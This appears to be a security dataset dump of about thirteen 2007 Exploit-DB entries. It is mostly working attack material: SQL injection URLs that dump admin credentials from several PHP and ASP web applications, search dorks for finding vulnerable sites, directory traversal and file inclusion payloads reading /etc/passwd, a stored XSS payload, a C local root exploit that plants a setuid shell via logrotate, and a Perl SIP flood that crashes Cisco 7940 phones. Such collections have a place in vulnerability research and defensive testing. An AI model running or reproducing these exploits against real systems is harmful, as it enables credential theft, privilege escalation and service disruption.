QLWD/code_shield huggingface dataset:
标题: SH-News 3.0 - 'comments.php' SQL Injection EDB-ID: 4709 CVE: 2007-6391 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-09 漏洞利用脚本: ########################################################################
             #                                                                      #
             #    ...:::::SH-News 3.0 SQL Injection Vulnerbility ::::....           #           
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By : hadihadi

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
-----------------------------------
dork: Powered by SH-News 3.0
-----------------------------------
vlu:
http://site.com/patch/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/*

-------------------------------------
you can see somting such as:
Poster:   admin Posted: 01.01.1970 03:30
z4478ad
#############
'admin' is admin user & 'z4478ad' is admin password
-------------------------------------

# milw0rm.com [2007-12-09] URL: https://www.exploit-db.com/exploits/4709
标题: Content Injector 1.53 - 'index.php' SQL Injection EDB-ID: 4706 CVE: 2007-6394 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-09 漏洞利用脚本: --==+================================================================================+==--
--==+             Content Injector V1.53 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--


AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.p3mbo.com/cinj153.zip

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by Content Injector v1.53"
Dork2(google):  Powered by Content Injector v1.53

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It   ;)  

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/index.php?action=expand&id=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:
admin login is at /admin/  It Is New Version With New Query & Different Between The Last One I Found

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

About Me:
Maybe I Give Bye To NET  :(  1 month later :((

I'm Suposed To Die These Days

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

GREETZ: All Xmors Digital Security Team - Str0ke
Own Page: wWw.SvvaT.IR
Group Site: wWw.XmorS.CoM


--==+================================================================================+==--
--==+             Content Injector V1.53 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-09] URL: https://www.exploit-db.com/exploits/4706
标题: DWdirectory 2.1 - SQL Injection EDB-ID: 4708 CVE: 2007-6392 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-09 漏洞利用脚本: --==+================================================================================+==--
--==+      DWdirectory 2.1 AND PRIOR SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK (altavista.com): "Powered by DWdirectory"


DESCRIPTION: 
pull admin info from the database

EXPLOITS:
www.site.com/search?search=null'+and+1=2+UNION+ALL+SELECT+concat(username,char(58),password),2,3,4+FROM+users/**/LIMIT/**/0,1/*&submit=Search


NOTE/TIP: 
admin login is at /admin/

GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+      DWdirectory 2.1 AND PRIOR SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-09] URL: https://www.exploit-db.com/exploits/4708
标题: PolDoc CMS 0.96 - 'download_file.php' File Disclosure EDB-ID: 4704 CVE: 2007-6400 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-08 漏洞利用脚本: PolDoc CMS 0.96 (download_file.php filename) Remote File Disclosure Vulnerability
D . Script : http://sourceforge.net/project/showfiles.php?group_id=100272
POC : /download_file.php?filename=../../../../../../../../etc/passwd

# milw0rm.com [2007-12-08] URL: https://www.exploit-db.com/exploits/4704
标题: Simple HTTPd 1.38 - Multiple Vulnerabilities EDB-ID: 4700 CVE: 2007-6405 2007-6404 类型: REMOTE 平台: WINDOWS 发布日期: 2007-12-07 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Simple HTTPD
              http://shttpd.sourceforge.net
Versions:     <= 1.38
Platforms:    Windows, *nix, QNX, RTEMS
              only Windows seems vulnerable
Bugs:         A] directory traversal
              B] scripts and CGI viewing/downloading
                 (%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date:         07 Dec 2007
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Simple HTTPD (shttpd) is an open source web server created for embedded
systems.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

Using the "..\" pattern is possible to download any file in the disk on
which is located the web root directory.


--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------

Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.


Note that only Windows seems vulnerable to the above bugs.


#######################################################################

===========
3) The Code
===========


A]
http://SERVER/..\..\..\boot.ini
http://SERVER/..\%2e%2e%5c..\boot.ini

B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff


#######################################################################

======
4) Fix
======


I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:

  http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org

# milw0rm.com [2007-12-07] URL: https://www.exploit-db.com/exploits/4700
标题: Ace Image Hosting Script - 'id' SQL Injection EDB-ID: 4707 CVE: 2007-6393 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-09 漏洞利用脚本: --==+================================================================================+==--
--==+     Ace Image Hosting Script SQL Injection Vulnerbility              +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: N/A


DESCRIPTION: 
pull user's info from the database


EXPLOITS:
www.site.com/albums.php?mode=editalbum&id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(user,char(58),password),3/**/FROM/**/users/**/LIMIT/**/0,1/*


NOTE/TIP:
admin login is at /admin/
passwords are in plaintext
you MUST create a account and login before the injection will work


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+     Ace Image Hosting Script SQL Injection Vulnerbility              +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-09] URL: https://www.exploit-db.com/exploits/4707
标题: SerWeb 2.0.0 dev1 2007-02-20 - Multiple Local/Remote File Inclusion Vulnerabilities EDB-ID: 4696 CVE: 2007-6290 2007-6289 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-06 漏洞利用脚本: SerWeb <= 2.0.0 dev1 2007-02-20 Multiple RFI / LFI Vulnerabilities
D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/serweb-2.0.0-dev1_2007-02-20.tar.gz
POC:
    /load_lang.php?_SERWEB[configdir]=Shell
    /main_prepend.php?_SERWEB[functionsdir]=Shell
    /load_phplib.php?_PHPLIB[libdir]=Shell
    /js/get_js.php?mod=../../../../../../../etc/passwd%00
    /js/get_js.php?js=../../../../../../../etc/passwd%00

# milw0rm.com [2007-12-06] URL: https://www.exploit-db.com/exploits/4696
标题: Send ICMP Nasty Garbage (SING) - Append File Logrotate EDB-ID: 4698 CVE: 2007-6211 类型: LOCAL 平台: LINUX 发布日期: 2007-12-06 漏洞利用脚本: /*
 sing file append exploit
 by bannedit

 12/05/2007

 The original reporter of this issue included an example session which
 added an account to the machine.

 The method for this exploit is slightly different and much more
 quiet. Although it relies upon logrotate for help.

 This could easily be modified to work with cron daemons which
 are not too strict about the cron file format. However,
 when I tested vixie cron it appears that there are
 better checks for file format compilance these days.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SING_PATH "/usr/bin/sing"

char *file = "/etc/logrotate.d/sing";
char *evilname = "\n/tmp/sing {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n    endscript\n}\n\n\n";



int main()
{
FILE *fp;
int pid;

        puts("sing file append exploit");
        puts("------------------------");
        puts("by bannedit");

        if(fp = fopen("/tmp/shell", "w+"))
        {
           fputs("#!/bin/bash\n", fp);
           fputs("/bin/bash -p", fp);
           fclose(fp);
           system("touch /tmp/sing; echo garbage >> /tmp/sing");
        }
        else
        {
           puts("error making shell file");
           exit(-1);
        }

        sleep(5);
        printf("done sleeping...\n");
        execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0);
        return 0;
}

// milw0rm.com [2007-12-06] URL: https://www.exploit-db.com/exploits/4698
标题: MWOpen E-Commerce - 'leggi_commenti.asp' SQL Injection EDB-ID: 4697 CVE: 2007-6292 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-06 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd    

---------------------------------------------------------------

PoC:

Nothing to say..

Corrupted Page: 

leggi_commenti.asp

Corrupted Variabile: 

?id=

Exploit:

http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
null,password,nome,null,data,null+from+utenti+where+Admin=true

---------------------------------------------------------------

# milw0rm.com [2007-12-06] URL: https://www.exploit-db.com/exploits/4697
标题: SineCMS 2.3.4 - Calendar SQL Injection EDB-ID: 4693 CVE: 2007-6367 2007-6366 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-05 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

SineCMS <= 2.3.4 Calendar SQL Injection 'n something else..

---------------------------------------------------------------

#By KiNgOfThEwOrLd    

---------------------------------------------------------------
Notes:

Only with magic_quotes_gpc -> Off
---------------------------------------------------------------
Corrupted file: 

mods/Calendar/index.php
---------------------------------------------------------------
Corrupted code:

[...]
function Evento ($sine){
 if (!isset($_GET[id]) OR $_GET[id]=="") {
 header("Location: index.php");
 }
 $query = "SELECT * FROM ".$sine[db][prefisso_tab]."calendario WHERE id='$_GET
[id]'";
 if ($_GET[id]){
  $result = mysql_query($query, $sine[db][db]);
  $row = mysql_fetch_array($result);
[...]
---------------------------------------------------------------
Exploit:

http://[target]/[sinecms_path]/mods.php?
mods=Calendar&action=info&id='+union+select+1,password,3,4,5,6,7,8,9
+from+sine_configuration/*
---------------------------------------------------------------
Something else..

There are a lots of useless sql injection in the admin panel, like...

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Guestbook&action=modifica&id='+union+select+1,2,3,4,password,
6+from+sine_configuration/*

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Calendar&mese=11'+union+select+1,password,3,4,5,6,7,8,9
+from+sine_configuration/*

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Calendar&action=modify&id='+union+select+1,2,3,4,password,6,7,8,9
+from+sine_configuration/*

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Calendar&anno='+union+select+1,password,3,4,5,6,7,8,9
+from+sine_configuration/*

and much more..
---------------------------------------------------------------
There is also a permanent html injection in the guestbook, and i belive it can 
be considered so dangerous, coz the "last comments" module it's included in all 
the pages...then, an attacker can rewrite alle the pages posting a comment like

<script>document.body.innerHTML="[Arbitrary_Code]";</script>

in the "username" or "comment" field.
---------------------------------------------------------------

# milw0rm.com [2007-12-05] URL: https://www.exploit-db.com/exploits/4693
标题: EZContents 1.4.5 - 'index.php?link' Remote File Disclosure EDB-ID: 4694 CVE: 2007-6368 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-05 漏洞利用脚本: --------------------------------------------------------------
ezContents Version 1.4.5 Remote File Disclosure Vulnerability.
--------------------------------------------------------------

download    : http://www.visualshapers.com/
author      : p4imi0
contact     : p4imi0@gmail.com
exploit     : /ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
google dork : inurl:"index.php?link=" Powered by ezContents Version 1.4.5
thanks to   : str0ke, Cr[]w.

# milw0rm.com [2007-12-05] URL: https://www.exploit-db.com/exploits/4694
标题: Rayzz Script 2.0 - Local/Remote File Inclusion EDB-ID: 4685 CVE: 2007-6230 2007-6229 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-01 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Rayzz Script 2.0
*    [~] Download.....:       http://rapidshare.com/files/40333745/rayzz_new_6726.rar  (Nulled)
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Local File Inclusion
*    [~] Demo.........:       http://rayzz.net/rayzzdemo/
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Lfi...: http://[Taget]/[script_path]/common/classes/class_HeaderHandler.lib.php?CFG[site][project_path]=localfile%00 / remote http://
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] iNF0......:   F3CK Y0UR simple Lf3
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-12-01] URL: https://www.exploit-db.com/exploits/4685
标题: Joomla! / Mambo Component rsgallery 2.0b5 - 'catid' SQL Injection EDB-ID: 4691 CVE: 2007-6362 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-05 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_86$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_86$2007] Mambo/Joomla Component rsgallery <= 2.0 beta 5 (catid) Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : November, 30 th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv86-K-159-2007.txt
Critical Lvl   : Medium
Impact        : System access
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : rsgallery  
version       : <= 2.0 beta 5
Vendor        : http://www.rsdev.nl/
Description :

RSGallery is one of the most complete Gallery solutions for Joomla at this point

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "catid" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~

http://target.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--

Dork:
~~~~
Google  : "option=com_rsgallery" or inurl:Ã“index.php?option=com_rsgalleryÃ“ 



Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
- use the latest version

Timeline:
~~~~~~~~

- 30 -11 - 2007 bug found
- 3  -12 - 2007 publish advisory
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, 'zizou' zautha - my lovely son, for all the luv, the tears n the breath
~ y3dips,the_day,m0by,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry,ketut,x16,k1tk4t,cyb3rh3b,opt1lc
~ newbie_hacker@yahoogroups.com
~ everyone [at] mac.web.id forum
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-12-05] URL: https://www.exploit-db.com/exploits/4691
标题: Cisco Phone 7940 - Remote Denial of Service EDB-ID: 4692 CVE: 2007-5583 类型: DOS 平台: HARDWARE 发布日期: 2007-12-05 漏洞利用脚本: #!/usr/bin/perl
 

###############################
# Vulnerabily discovered using KiF ~ Kiph
#
# Authors:
# Humberto J. Abdelnur (Ph.D Student)
# Radu State (Ph.D)
# Olivier Festor (Ph.D)
#
# Madynes Team, LORIA - INRIA Lorraine
# http://madynes.loria.fr
############################### 
use IO::Socket::INET;
use String::Random; 
die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
unless ($ARGV[3]); 
$targetUser = $ARGV[1];
$targetIP = $ARGV[0]; 
$attackerUser = $ARGV[3];
$attackerIP= $ARGV[2]; 
$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>5060,
PeerAddr=>$targetIP,
LocalPort=>5060); 
$foo = new String::Random; 
$flag = 0;
@calls;
$threads = 0; 
while ($flag == 0){
$callid= " " . $foo->randpattern("CCCnccnC") ."\@$attackerIP";
$cseq = $foo->randregex('\d\d\d\d'); 
$msg = "INVITE sip:$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$targetUser\@$targetIP>\r
Call-ID:$callid\r
CSeq: $cseq INVITE\r
Max-Forwards: 70\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,
MESSAGE\r
Content-Length: 0\r
\r
";
$socket->send($msg); 
$socket->recv($text,1024,0);
if ($text =~ /^SIP\/2.0 100(.\r\n)*/ ){
push(@calls, $callid);
sleep(1);
}elsif ($text =~ /^SIP\/2.0 486(.\r\n)*/ ){
if ($thread == 0){
$thread = scalar(@calls);
}
while (scalar(@calls) ge $thread){
$toTag = $cseq= $callid= $text;
$toTag =~ s/^(.*\r\n)*(To|t):(.*?>)(;.*?)?\r\n(.*\r\n)*/\4/;

$callid =~ s/^(.*\r\n)*Call-ID:(.*)\r\n(.*\r\n)*/\2/;
$cseq =~ s/^(.*\r\n)*CSeq: (.*?) (.*?)\r\n(.*\r\n)*/\2/; 
$msg = "ACK sip:$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$targetUser\@$targetIP>$toTag\r
Call-ID:$callid\r
CSeq: $cseq ACK\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Content-Length: 0\r
\r
";
$socket->send($msg);
$i= 0;
while ($i < scalar(@calls)){
if (@calls[$i] eq $callid){
delete @calls[$i];
}else{
$i += 1;
}
}
if (scalar(@calls) ge $thread){
$socket->recv($text,1024,0);
}
}
}
}

# milw0rm.com [2007-12-05] URL: https://www.exploit-db.com/exploits/4692